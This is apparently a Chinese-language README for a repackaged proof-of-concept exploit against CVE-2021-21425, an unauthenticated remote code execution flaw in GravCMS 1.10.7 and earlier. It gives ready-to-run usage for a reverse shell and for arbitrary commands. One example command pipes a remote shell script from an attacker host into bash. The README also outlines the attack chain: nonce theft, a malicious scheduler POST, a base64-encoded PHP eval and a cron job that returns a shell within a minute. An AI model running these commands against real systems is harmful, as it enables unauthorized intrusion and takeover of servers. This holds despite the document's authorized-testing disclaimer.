针对 CVE-2021-21425 的改进版概念验证,该漏洞是 GravCMS <= 1.10.7 中通过向调度器写入任意 YAML 实现的未授权远程代码执行漏洞。
这是衍生作品。漏洞及原始利用代码并非本人所写。
| 角色 | 人员 |
|---|---|
| 漏洞发现者 | Mehmet Ince (@mdisec),PRODAFT / INVICTUS Europe — 2021 年 3 月 |
| 原始 PoC 作者 | "legend" — Exploit-DB EDB-49973 |
| 本仓库的修改者 | d4ytox |
原始 EDB-49973 需要手动编辑脚本中的硬编码值。本版本增加了:
-c)这些是对现有利用代码的易用性改进。不主张任何漏洞研究贡献。
| 字段 | 值 |
|---|---|
| CVE | CVE-2021-21425 |
| EDB-ID | 49973 |
| 受影响版本 | GravCMS <= 1.10.7 |
| 类型 | 未授权 RCE |
| CVSS | 9.8(严重) |
Grav Admin 插件在某些管理路由上未能验证身份认证,允许未授权用户写入任意 YAML 配置。此利用代码滥用调度器配置来创建一个执行任意 PHP 代码的 cron 任务。
# 反向 shell
python3 exploit.py -t http://target -s <LHOST> <LPORT>
# 自定义命令
python3 exploit.py -t http://target -c "id"
# 在目标上获取反向 shell
python3 exploit.py -t http://10.10.10.5 -s 10.10.14.5 4444
# 执行命令
python3 exploit.py -t http://grav.local:8080 -c "curl http://10.10.14.5/shell.sh | bash"
pip install requests
/admin 以提取 admin-nonce 令牌(由于漏洞存在,无需认证)/admin/config/scheduler 发送 POST 请求,包含恶意的 cron 任务配置/usr/bin/php -r eval(base64_decode(...)) 执行 PHP 载荷/tmp/rev.sh 并执行该 cron 任务每分钟运行一次(* * * * *),因此 shell 会在 60 秒内返回。
MIT,仅适用于本仓库中的修改。上游 PoC 未附带许可证,因此其版权仍归原作者所有。完整署名声明请参见 LICENSE。
仅供授权的安全测试使用。在测试任何系统之前,请确保您已获得书面许可。